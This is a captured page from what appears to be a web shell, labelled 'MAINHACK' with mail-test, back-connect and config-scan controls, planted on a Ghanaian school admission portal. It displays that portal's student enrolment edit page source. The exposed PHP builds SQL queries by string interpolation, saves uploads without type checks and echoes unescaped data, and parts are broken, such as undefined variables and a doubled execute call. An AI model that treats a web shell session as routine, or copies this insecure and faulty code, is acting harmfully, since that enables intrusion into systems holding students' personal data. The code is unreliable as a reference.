[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: editme.php
<?php include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $myindex_id = $_SESSION['index_no78897498'] ?? ''; $myschoolcode = $_SESSION['myschoolcode'] ?? ''; $schoolID = $_SESSION['student_id0023894'] ?? ''; $enroll_de = mysqli_query($new,"SELECT * FROM enrol_details WHERE index_no = '$myindex_id'"); $enroll_info = mysqli_fetch_array($enroll_de); $class_id1 = $enroll_info['class_id']; $rawscore1 = $enroll_info['raw_score']; $enrol_code1 = $enroll_info['enrol_code']; $enrol_form1 = $enroll_info['enrol_form']; $jhs_attended1 = $enroll_info['jhs_attended']; $jhs_type1 = $enroll_info['jhs_type']; $dob1 = $enroll_info['date_of_birth']; $place1 = $enroll_info['place_of_birth']; $nationality1 = $enroll_info['nationality']; $religion1 = $enroll_info['religion']; $denomination1 = $enroll_info['religion_denomination']; $address1 = $enroll_info['address']; $town1 = $enroll_info['town']; $region1 = $enroll_info['region']; $district1 = $enroll_info['district']; $interest1 = $enroll_info['interest']; $ghana_card1 = $enroll_info['ghana_card']; $house_residence1 = $enroll_info['house_residence']; $mobile_num1 = $enroll_info['mobile_num']; $photo1 = $enroll_info['photo']; $father_name1 = $enroll_info['father_name']; $father_occupation1 = $enroll_info['father_occupation']; $mother_name1 = $enroll_info['mother_name']; $mother_number = $enroll_info['mother_number']; $mother_occupation1 = $enroll_info['mother_occupation']; $guadian1 = $enroll_info['guadian']; $guadian_address1 = $enroll_info['guadian_address']; $house_select1 = $enroll_info['house_id']; $telephone = $enroll_info['telephone']; $enrol_form1 = ""; $photo1 = ""; $districts = array_unique([ 'ACCRA METROPOLITAN', 'ABLEKUMA CENTRAL MUNICIPAL', 'ABLEKUMA NORTH MUNICIPAL', 'ABLEKUMA WEST MUNICIPAL', 'ABUAKWA NORTH MUNICIPAL', 'ABUAKWA SOUTH MUNICIPAL', 'ABURA-ASEBU-KWAMANKESE', 'ACHIASE DISTRICT', 'ADA EAST', 'ADA WEST', 'ADAKLU', 'ADANSI ASOKWA', 'ADANSI NORTH', 'ADANSI SOUTH', 'ADENTAN MUNICIPAL', 'AFADZATO SOUTH', 'AFIGYA KWABRE NORTH', 'AFIGYA KWABRE SOUTH', 'AGONA EAST', 'AGONA WEST MUNICIPAL', 'AGOTIME ZIOPE', 'AHAFO ANO NORTH MUNICIPAL', 'AHAFO ANO SOUTH EAST', 'AHAFO ANO SOUTH WEST', 'AHANTA WEST MUNICIPAL', 'AJUMAKO-ENYAN-ESSIAM', 'AKATSI NORTH', 'AKATSI SOUTH', 'AKROFUOM DISTRICT', 'AKUAPIM NORTH MUNICIPAL', 'AKUAPIM SOUTH', 'AKYEMANSA', 'AMANSIE CENTRAL', 'AMANSIE SOUTH', 'AMANSIE WEST', 'ANLOGA', 'AOWIN MUNICIPAL', 'ASANTE AKIM CENTRAL MUNICIPAL', 'ASANTE AKIM NORTH', 'ASANTE AKIM SOUTH MUNICIPAL', 'ASENE MANSO AKROSO', 'ASHAIMAN MUNICIPAL', 'ASIKUMA-ODOBEN-BRAKWA', 'ASOKORE MAMPONG MUNICIPAL', 'ASOKWA MUNICIPAL', 'ASSIN CENTRAL MUNICIPAL', 'ASSIN NORTH', 'ASSIN SOUTH', 'ASUNAFO NORTH MUNICIPAL', 'ASUNAFO SOUTH', 'ASUOGYAMAN', 'ASUTIFI NORTH', 'ASUTIFI SOUTH', 'ATEBUBU-AMANTIN MUNICIPAL', 'ATIWA EAST', 'ATIWA WEST', 'ATWIMA KWANWOMA', 'ATWIMA MPONUA', 'ATWIMA NWABIAGYA NORTH MUNICIPAL', 'ATWIMA NWABIAGYA SOUTH', 'AWUTU SENYA EAST', 'AWUTU SENYA WEST', 'AYAWASO CENTRAL MUNICIPAL DISTRICT', 'AYAWASO EAST MUNICIPAL', 'AYAWASO NORTH MUNICIPAL', 'AYAWASO WEST MUNICIPAL', 'AYENSUANO', 'BANDA', 'BAWKU MUNICIPAL', 'BAWKU WEST', 'BEKWAI MUNICIPAL', 'BEREKUM EAST MUNICIPAL', 'BEREKUM WEST', 'BIA EAST', 'BIA WEST', 'BIAKOYE', 'BIBIANI-ANHWIASO-BEKWAI MUNICIPAL', 'BINDURI', 'BIRIM CENTRAL MUNICIPAL', 'BIRIM NORTH', 'BIRIM SOUTH', 'BODI', 'BOLE', 'BOLGATANGA EAST', 'BOLGATANGA MUNICIPAL', 'BONGO', 'BOSOME FREHO', 'BOSOMTWE', 'BUILSA NORTH', 'BUILSA SOUTH', 'BUNKPURUGU NAKPANDURI', 'CAPE COAST METROPOLITAN', 'CENTRAL GONJA', 'CENTRAL TONGU', 'CHEREPONI', 'DAFFIAMA BUSSIE ISSA', 'DENKYEMBOUR', 'DORMAA CENTRAL MUNICIPAL', 'DORMAA EAST', 'DORMAA WEST', 'EAST GONJA MUNICIPAL', 'EAST MAMPRUSI MUNICIPAL', 'EFFIA KWESIMINTSIM MUNICIPAL', 'EFFUTU MUNICIPAL', 'EJISU MUNICIPAL', 'EJURA-SEKYEDUMASE', 'EKUMFI', 'ELLEMBELE', 'FANTEAKWA NORTH', 'FANTEAKWA SOUTH', 'GA CENTRAL', 'GA EAST MUNICIPAL', 'GA NORTH MUNICIPAL', 'GA SOUTH MUNICIPAL', 'GA WEST MUNICIPAL', 'GARU', 'GOMOA EAST', 'GOMOA WEST', 'GUSHEGU MUNICIPAL', 'HO MUNICIPAL', 'HO WEST', 'HOHOE MUNICIPAL', 'JAMAN NORTH', 'JAMAN SOUTH MUNICIPAL', 'JASIKAN', 'JIRAPA MUNICIPAL', 'JOMORO MUNICIPAL', 'JUABEN MUNICIPAL', 'JUABOSO', 'KADJEBI', 'KARAGA', 'KASSENA NANKANA EAST', 'KASSENA NANKANA WEST', 'KETA MUNICIPAL', 'KETU NORTH MUNICIPAL', 'KETU SOUTH MUNICIPAL', 'KINTAMPO NORTH MUNICIPAL', 'KINTAMPO SOUTH', 'KOMENDA-EDINA-EGUAFO-ABIREM MUNICIPAL', 'KORLE KLOTTEY MUNICIPAL DISTRICT', 'KPANDAI', 'KPANDO MUNICIPAL', 'KPONE KATAMANSO MUNICIPAL', 'KRACHI EAST MUNICIPAL', 'KRACHI NCHUMURU', 'KRACHI WEST', 'KROWOR MUNICIPAL', 'KUMASI METROPOLITAN', 'KUMBUNGU', 'KWABRE EAST MUNICIPAL', 'KWADASO MUNICIPAL', 'KWAEBIBIREM MUNICIPAL', 'KWAHU AFRAM PLAINS NORTH', 'KWAHU AFRAM PLAINS SOUTH', 'KWAHU EAST', 'KWAHU SOUTH', 'KWAHU WEST MUNICIPAL', 'LA-DADE-KOTOPON MUNICIPAL', 'LA-NKWANTANANG-MADINA', 'LAMBUSSIE KARNI', 'LAWRA MUNICIPAL', 'LEDZOKUKU MUNICIPAL', 'LOWER MANYA KROBO', 'MAMPONG MUNICIPAL', 'MAMPRUGO MOAGDURI', 'MFANTSEMAN MUNICIPAL', 'MION', 'MPOHOR', 'NABDAM', 'NADOWLI-KALEO', 'NANDOM', 'NANTON', 'NANUMBA NORTH MUNICIPAL', 'NANUMBA SOUTH', 'NEW JUABEN NORTH MUNICIPAL', 'NEW JUABEN SOUTH MUNICIPAL', 'NINGO-PRAMPRAM', 'NKORANZA NORTH', 'NKORANZA SOUTH', 'NKWANTA NORTH', 'NKWANTA SOUTH MUNICIPAL', 'NORTH DAYI', 'NORTH EAST GONJA', 'NORTH GONJA', 'NORTH TONGU', 'NSAWAM ADOAGYIRI MUNICIPAL', 'NZEMA EAST MUNICIPAL', 'OBUASI EAST', 'OBUASI MUNICIPAL', 'OFFINSO NORTH', 'OFFINSO SOUTH MUNICIPAL', 'OFORIKROM MUNICIPAL', 'OKAIKWEI NORTH MUNICIPAL', 'OKERE', 'OLD TAFO MUNICIPAL', 'PRESTEA-HUNI VALLEY MUNICIPAL', 'PRU EAST', 'PRU WEST', 'PUSIGA', 'SABOBA', 'SAGNARIGU MUNICIPAL', 'SAVELUGU MUNICIPAL', 'SAWLA-TUNA-KALBA', 'SEFWI AKONTOMBRA', 'SEFWI WIAWSO', 'SEKONDI TAKORADI METROPOLITAN', 'SEKYERE AFRAM PLAINS', 'SEKYERE CENTRAL', 'SEKYERE EAST', 'SEKYERE KUMAWU', 'SEKYERE SOUTH', 'SENE EAST', 'SENE WEST', 'SHAI-OSUDOKU DISTRICT', 'SHAMA', 'SISSALA EAST MUNICIPAL', 'SISSALA WEST', 'SOUTH DAYI', 'SOUTH TONGU', 'SUAMAN', 'SUAME MUNICIPAL', 'SUHUM', 'SUNYANI MUNICIPAL', 'SUNYANI WEST', 'TAIN', 'TALENSI', 'TAMALE METROPOLITAN', 'TANO NORTH MUNICIPAL', 'TANO SOUTH MUNICIPAL', 'TARKWA NSUAEM MUNICIPAL', 'TATALE-SANGULE', 'TECHIMAN MUNICIPAL', 'TECHIMAN NORTH', 'TEMA METROPOLITAN', 'TEMA WEST MUNICIPAL', 'TEMPANE', 'TOLON', 'TWIFO ATTI MORKWA', 'TWIFO HEMANG LOWER DENKYIRA', 'UPPER DENKYIRA EAST MUNICIPAL', 'UPPER DENKYIRA WEST', 'UPPER MANYA KROBO', 'UPPER WEST AKIM', 'WA EAST', 'WA MUNICIPAL', 'WA WEST', 'WASSA AMENFI CENTRAL', 'WASSA AMENFI EAST MUNICIPAL', 'WASSA AMENFI WEST MUNICIPAL', 'WASSA EAST', 'WEIJA GBAWE MUNICIPAL', 'WENCHI MUNICIPAL', 'WEST AKIM MUNICIPAL', 'WEST GONJA', 'WEST MAMPRUSI MUNICIPAL', 'YENDI MUNICIPAL', 'YILO KROBO MUNICIPAL', 'YUNYOO-NASUAN', 'ZABZUGU' ]); sort($districts); // Sort alphabetically // Default district value (ensure it exists in the array or is empty) $district1 = isset($district1) && in_array($district1, $districts) ? $district1 : ''; if (isset($_POST['submit'])) { // Sanitize inputs $accessCode = $_POST['accessCode']; $jhs = $_POST['jhs']; $jhs_type = $_POST['jhs_type']; $dob = $_POST['dob']; $placeofbirth = $_POST['placeofbirth']; $nationality = $_POST['nationality']; $religion = $_POST['religion']; $denomination = $_POST['denomination']; $address = $_POST['address']; $town = $_POST['town']; $region = $_POST['region']; $district = $_POST['district']; $interest = $_POST['interest']; $ghanacard = $_POST['ghanacard']; $mobile_num = $_POST['mobile_num']; $father = $_POST['father']; $foccupy = $_POST['foccupy']; $mother_name = $_POST['mother_name']; $mother_number= $_POST['mother_number']; $moccupy = $_POST['moccupy']; $guardian = $_POST['guardian']; $telephone = $_POST['telephone']; $gaddress = $_POST['gaddress']; $classselect = $_POST['classselect']; $myindexid = $_POST['myindexid']; $thisyear = $_POST['thisacademictear']; $myschoolcodethis = $_POST['myschoolcodethis']; // Handle file uploads (enrol form + profile pic) $enrolFormFile = $_FILES['enrolfile']['name'] ?? ''; $profileFile = $_FILES['profile']['name'] ?? ''; if ($enrolFormFile != "") { $target1 = "uploads/enrolments/" . basename($enrolFormFile); move_uploaded_file($_FILES['enrolfile']['tmp_name'], $target1); } else { $target1 = $enrol_form1; // keep old value } if ($profileFile != "") { $target2 = "uploads/profiles/" . basename($profileFile); move_uploaded_file($_FILES['profile']['tmp_name'], $target2); } else { $target2 = $photo1; // keep old value } // Prepare update query $stmt = $con->prepare("UPDATE enrol_details SET enrol_form = ?, jhs_attended = ?, jhs_type = ?, date_of_birth = ?, place_of_birth = ?, nationality = ?, religion = ?, religion_denomination = ?, address = ?, town = ?, region = ?, district = ?, ghana_card = ?, house_residence = ?, interest = ?, class_id = ?, photo = ?, mobile_num = ?, telephone = ?, father_name = ?, father_occupation = ?, mother_name = ?, mother_occupation = ?, guadian = ?, guadian_address = ?, house_id = ?, classname = ?, housename = ?, academic_year = ?, student_form = ?, mother_number = ? WHERE index_no = ? AND s_code = ?"); $stmt->execute([ $newFilePath, $jhs, $jhs_type, $dob, $placeofbirth, $nationality, $religion, $denomination, $address, $town, $region, $district, $ghanacard, $address, $interest, $classselect, $newFilePath1, $mobile_num, $telephone, $father, $foccupy, $mother, $moccupy, $guardian, $gaddress, $house_select, $thismyclass, $thismyhouse, $thisacademictear, $studentdorm, $mother_number, $myindexid, $myschoolcodethis ]); if ($stmt->execute()) { $message = "<div class='alert alert-success'>Record updated successfully.</div>"; } else { $message = "<div class='alert alert-danger'>Error updating record: " . $stmt->error . "</div>"; } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Dashboard | Online Admission Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="Premium Multipurpose Admin & Dashboard Template" name="description" /> <meta content="Themesbrand" name="author" /> <!-- App favicon --> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <!-- plugin css --> <link href="assets/libs/admin-resources/jquery.vectormap/jquery-jvectormap-1.2.2.css" rel="stylesheet" type="text/css" /> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <style> .form-select { width: 100%; max-height: 40px; } .form-group .invalid-feedback { display: none; color: #dc3545; } .form-group .is-invalid ~ .invalid-feedback { display: block; } </style> <!-- Include Select2 CSS and JS --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <style> /* Flexbox container for horizontal alignment */ .button-row { display: flex; /* Use flexbox for horizontal alignment */ gap: 10px; /* Add some spacing between buttons */ flex-wrap: wrap; /* Allow wrapping on smaller screens */ align-items: center; /* Align items vertically in the center */ } .button-row h5 { margin: 0; /* Remove default margin */ } /* Apply a red border for required fields that are not filled */ input:invalid, select:invalid, textarea:invalid { border: 2px solid red; } </style> </head> <body> <div id="layout-wrapper"> <?php include("includes/header.php");?> <!-- ========== Left Sidebar Start ========== --> <?php include("includes/sidebar.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div> <?php echo $message;?> <?php $studentID = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$myindex_id'"); $stud = mysqli_fetch_array($studentID, MYSQLI_ASSOC); // safer to use associative array if ($stud) { $myname = $stud['stud_name']; $programme = $stud['programme']; $myindex = $stud['indexNo']; $mygrade = $stud['grade']; $mygender = $stud['gender']; $resident = $stud['status']; } ?> <form method="POST" enctype="multipart/form-data" class="needs-validation" novalidate> <?php echo csrf_token_tag(); ?> <input type="hidden"/> <div class="card-body"> <div class="row"> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>ENROLMENT FORM UPLOAD(PNG,JPG,JPEG)</label> <?php if (empty($enrol_form1)) { ?> <input type="file" name="enrolfile" accept=".png,.jpg,.jpeg" data-pristine-min-message="Upload your enrolment form" class="form-control"/> <?php } else { ?> <div class="image-preview"> <img src="<?php echo htmlspecialchars($enrol_form1); ?>" alt="Enrolment Form" style="max-width: 80px; max-height: 80px;"/> <p>Current enrolment form. Upload a new file to replace it (optional).</p> <input type="file" name="enrolfile" accept=".png,.jpg,.jpeg" data-pristine-min-message="Upload new enrolment form" class="form-control"/> </div> <?php } ?> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Name of JHS Attended *</label> <input type="text" name="jhs" value="<?php echo $jhs_attended1;?>" data-pristine-required-message="Type your JHS name is required" class="form-control"> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>JHS Type *(<?php echo $jhs_type1;?>)</label> <select class="form-control" name="jhs_type" required> <option value="<?php echo $jhs_type1;?>"> Select type</option> <option value="PRIVATE"> PRIVATE</option> <option value="PUBLIC"> PUBLIC</option> </select> </div> </div> </div> </div> <div class="card-body"> <h4>PERSONAL DATA. Some fields are mandatory</h4> <div class="row"> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Date of Birth *</label> <input type="date" name="dob" value="<?php echo $dob1;?>" class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Place of Birth *</label> <input type="text" name="placeofbirth" value="<?php echo $place1;?>" class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Nationality* <?php echo $nationality1;?></label> <select class="form-control" id="nationality" name="nationality"> <option value="<?php echo $nationality1;?>"> Select type</option> <?php $studentID = mysqli_query($new,"SELECT * FROM country "); while($stud = mysqli_fetch_array($studentID)){ ?> <option value="<?php echo $stud['name'];?>"> <?php echo $stud['name'];?></option> <?php }?> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Religion *<?php echo $religion1;?></label> <select class="form-control" id="religion" name="religion"> <option value="<?php echo $religion1;?>"> Select</option> <option value="CHRISTIANITY"> CHRISTIANITY </option> <option value="Atheism/Agnosticism"> Atheism/Agnosticism</option> <option value="Buddhism"> Buddhism</option> <option value="Christianity"> Christianity</option> <option value="Confucianism"> Confucianism</option> <option value="Druze"> Druze</option> <option value="Hinduism"> Hinduism</option> <option value="Islam"> Islam</option> <option value="Judaism"> Judaism</option> <option value="Shinto"> Shinto</option> <option value="Traditional African Religions"> Traditional African Religions </option> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Religious Denomination *<?php echo $denomination1;?></label> <select class="form-control" id="denomination" name="denomination"> <option value="<?php echo $denomination1;?>">Select</option> <option value="PENTECOSTAL"> PENTECOSTAL </option> <option value="Catholic"> Catholic</option> <option value="Methodist"> Methodist</option> <option value="Anglican"> Anglican</option> <option value="Presbyterian"> Presbyterian</option> <option value="Pentecostal"> Pentecostal</option> <option value="Baptist"> Baptist</option> <option value="Lutheran"> Lutheran</option> <option value="Seventh-Day Adventist"> Seventh-Day Adventist</option> <option value="Evangelical Charismatic"> Evangelical Charismatic</option> <option value="Latter-day Saint"> Latter-day Saint</option> <option value="Saviour Church"> Saviour Church</option> <option value="Church of Christ"> Church of Christ</option> <option value="Other"> Others</option> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Permanent Address *</label> <input type="text" name="address" value="<?php echo $address1;?>" class="form-control" > </div> </div> <input type="hidden" name="thisacademictear" value="<?php echo $myacademicyr;?>"> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Town *</label> <input type="text" name="town" value="<?php echo $town1;?>" class="form-control" > </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Region *<?php echo $region1;?></label> <select class="form-control" id="region" class="district" name="region"> <option value="<?php echo $region1;?>">Select</option> <option value="GREATER ACCRA" selected> GREATER ACCRA </option> <option value="Ahafo"> Ahafo</option> <option value="Ashanti"> Ashanti</option> <option value="Bono"> Bono</option> <option value="Bono East"> Bono East</option> <option value="Central"> Central</option> <option value="Eastern"> Eastern</option> <option value="Greater Accra"> Greater Accra</option> <option value="North East"> North East</option> <option value="Northern"> Northern</option> <option value="Oti"> Oti</option> <option value="Savannah"> Savannah</option> <option value="Upper East"> Upper East</option> <option value="Upper West"> Upper West</option> <option value="Volta"> Volta</option> <option value="Western"> Western</option> <option value="Western North"> Western North</option> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label for="district" class="form-label">District <span class="text-danger">*</span></label> <select class="form-select" id="district" class="district" name="district"> <option value="" <?php echo $district1 === '' ? 'selected' : ''; ?>>Select District</option> <?php foreach ($districts as $district): ?> <option value="<?php echo htmlspecialchars($district); ?>" <?php echo $district === $district1 ? 'selected' : ''; ?>> <?php echo htmlspecialchars($district); ?> </option> <?php endforeach; ?> </select> <div class="invalid-feedback">Please select a district.</div> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Interest(s) *<?php echo $interest1;?></label> <select class="form-control" id="interest" name="interest"> <option value="<?php echo $interest1;?>"></option> <option value="OTHERS"> OTHERS </option> <option value="Athletics"> Athletics</option> <option value="Football"> Football</option> <option value="Debating Club"> Debating Club</option> <option value="Others"> Others</option> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Ghana Card/NHIS No *</label> <input type="text" name="ghanacard" value="<?php echo $ghana_card1;?>" class="form-control" > </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Passport picture *</label> <?php if (empty($photo1)) { ?> <input type="file" name="profile" accept=".png,.jpg,.jpeg" class="form-control" data-pristine-min-message="Upload your enrolment form" /> <?php } else { ?> <div class="image-preview"> <img src="<?php echo htmlspecialchars($photo1); ?>" alt="Profile Image" style="max-width: 80px; max-height: 80px;"/> <input type="file" name="profile" accept=".png,.jpg,.jpeg" class="form-control" data-pristine-min-message="Upload your enrolment form" /> </div> <?php } ?> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Phone number *</label> <input type="text" name="mobile_num" value="<?php echo $mobile_num1;?>" class="form-control" /> </div> </div> </div> </div> <div class="card-body"> <h4>CLASS SELECTION.</h4> <div class="row"> <div class="col-xl-6 col-md-6"> <div class="table-responsive"> <table class="table table-striped table-hover align-middle"> <thead class="table-dark"> <tr> <th>Select</th> <th>Class</th> <th>Subject Combination</th> </tr> </thead> <tbody> <?php $gethousestataus = ""; $getproid = null; // 1. Fetch enrol_generic record $stmt = $new->prepare("SELECT status, programme FROM enrol_generic WHERE s_code = ?"); $stmt->bind_param("s", $myschoolcode); $stmt->execute(); $result = $stmt->get_result(); $getgenericprogram = $result->fetch_assoc(); $stmt2 = $new->prepare("SELECT progid FROM programme WHERE s_code = ? AND LOWER(program_name) = LOWER(?)"); $stmt2->bind_param("ss", $myschoolcode, $programme); $stmt2->execute(); $result2 = $stmt2->get_result(); $getproid = $result2->fetch_assoc(); if ($getproid) { $getproID = $getproid['progid']; // 3. Fetch classes for this programme including capacity $stmt3 = $new->prepare("SELECT cid, class_name, subject_com, class_capacity FROM class WHERE s_code = ? AND program_id = ?"); $stmt3->bind_param("si", $myschoolcode, $getproID); $stmt3->execute(); $result3 = $stmt3->get_result(); if ($result3->num_rows > 0) { while ($getclassvaue = $result3->fetch_assoc()) { $cid = $getclassvaue['cid']; $capacity = (int)$getclassvaue['class_capacity']; $class_name = $getclassvaue['class_name']; $subject_com = $getclassvaue['subject_com']; // Check current enrolment $countQuery = $new->prepare("SELECT COUNT(*) AS total FROM enrol_details WHERE class_id = ? AND s_code = ?"); $countQuery->bind_param("is", $cid, $myschoolcode); $countQuery->execute(); $countResult = $countQuery->get_result()->fetch_assoc(); $totalStudents = (int)$countResult['total']; // Only show class if not full if ($totalStudents < $capacity) { $isChecked = ($cid == $class_id1) ? 'checked' : ''; ?> <tr> <td> <input type="radio" name="classselect" id="class_<?php echo htmlspecialchars($cid); ?>" value="<?php echo htmlspecialchars($cid); ?>" <?php echo $isChecked; ?> required> </td> <td><?php echo htmlspecialchars($class_name); ?></td> <td><?php echo html_entity_decode($subject_com, ENT_QUOTES | ENT_HTML5); ?></td> </tr> <?php } // else skip class (don’t show if full) } } else { echo "<tr> <td><input type='radio' name='classselect' value='N/A' required></td> <td colspan='2' class='text-danger'>No classes available</td> </tr>"; } } else { echo "<tr> <td><input type='radio' name='classselect' value='N/A' required></td> <td colspan='2' class='text-danger'>No programme or enrolment found</td> </tr>"; } ?> </tbody> </table> </div> </div> </div> <div class="card-body"> <h4>PARENTAL DATA. Some fields are mandatory</h4> <div class="row"> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Father's Name*</label> <input type="text" name="father" value="<?php echo $father_name1;?>" class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Father's Occupation *</label> <input type="text" name="foccupy" value="<?php echo $father_occupation1;?>"class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Mother's Name *</label> <input type="text" name="mother_name" value="<?php echo $mother_name1;?>" class="form-control"> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Mother's phone number </label> <input type="text" name="mother_number" value="<?php echo $mother_number;?>"class="form-control"> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Mother's Occupation *</label> <input type="text" name="moccupy" value="<?php echo $mother_occupation1;?>" class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Name of Guardian</label> <input type="text" name="guardian" value="<?php echo $guadian1;?>" class="form-control" > </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Residential Telephone *</label> <input type="text" name="telephone" value="<?php echo $telephone;?>" class="form-control" > </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Guardian Address</label> <input type="text" name="gaddress" value="<?php echo $guadian_address1;?>" class="form-control" > </div> </div> </div> </div> </div> <input type="hidden" value="<?php echo $myschoolcode;?>" name="myschoolcodethis"> <input type="hidden" name="myindexid" value="<?php echo $myindex_id;?>"> <div class="form-group"> <button type="submit" name="submit" id="submitBtn" class="btn btn-primary">Update</button> </div> </form> </div> <script> document.getElementById('submitBtn').addEventListener('click', function() { // Get all radio buttons with name 'options' var radios = document.getElementsByName('classselect'); var isChecked = false; // Loop through radio buttons to see if any is checked for (var i = 0; i < radios.length; i++) { if (radios[i].checked) { isChecked = true; break; } } // If no radio button is checked, show an alert if (!isChecked) { alert("Please select your class combination."); } }); </script> </div> </div> <!-- end card --> </div> <!-- end col --> </div> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("../admin/includes/footer.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Right Sidebar --> <div class="right-bar"> <div data-simplebar class="h-100"> <!-- <div class="rightbar-title d-flex align-items-center p-3"> <h5 class="m-0 me-2">Theme Customizer</h5> <a href="javascript:void(0);" class="right-bar-toggle ms-auto"> <i class="mdi mdi-close noti-icon"></i> </a> </div> --> <!-- Settings --> <hr class="m-0" /> <div class="p-4"> <h6 class="mb-3">Layout</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-vertical" value="vertical"> <label class="form-check-label" for="layout-vertical">Vertical</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-horizontal" value="horizontal"> <label class="form-check-label" for="layout-horizontal">Horizontal</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Mode</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-light" value="light"> <label class="form-check-label" for="layout-mode-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-dark" value="dark"> <label class="form-check-label" for="layout-mode-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Width</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-fuild" value="fuild" onchange="document.body.setAttribute('data-layout-size', 'fluid')"> <label class="form-check-label" for="layout-width-fuild">Fluid</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-boxed" value="boxed" onchange="document.body.setAttribute('data-layout-size', 'boxed')"> <label class="form-check-label" for="layout-width-boxed">Boxed</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Position</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-fixed" value="fixed" onchange="document.body.setAttribute('data-layout-scrollable', 'false')"> <label class="form-check-label" for="layout-position-fixed">Fixed</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-scrollable" value="scrollable" onchange="document.body.setAttribute('data-layout-scrollable', 'true')"> <label class="form-check-label" for="layout-position-scrollable">Scrollable</label> </div> <h6 class="mt-4 mb-3 pt-2">Topbar Color</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-light" value="light" onchange="document.body.setAttribute('data-topbar', 'light')"> <label class="form-check-label" for="topbar-color-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-dark" value="dark" onchange="document.body.setAttribute('data-topbar', 'dark')"> <label class="form-check-label" for="topbar-color-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Size</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-default" value="default" onchange="document.body.setAttribute('data-sidebar-size', 'lg')"> <label class="form-check-label" for="sidebar-size-default">Default</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-compact" value="compact" onchange="document.body.setAttribute('data-sidebar-size', 'md')"> <label class="form-check-label" for="sidebar-size-compact">Compact</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-small" value="small" onchange="document.body.setAttribute('data-sidebar-size', 'sm')"> <label class="form-check-label" for="sidebar-size-small">Small (Icon View)</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Color</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-light" value="light" onchange="document.body.setAttribute('data-sidebar', 'light')"> <label class="form-check-label" for="sidebar-color-light">Light</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-dark" value="dark" 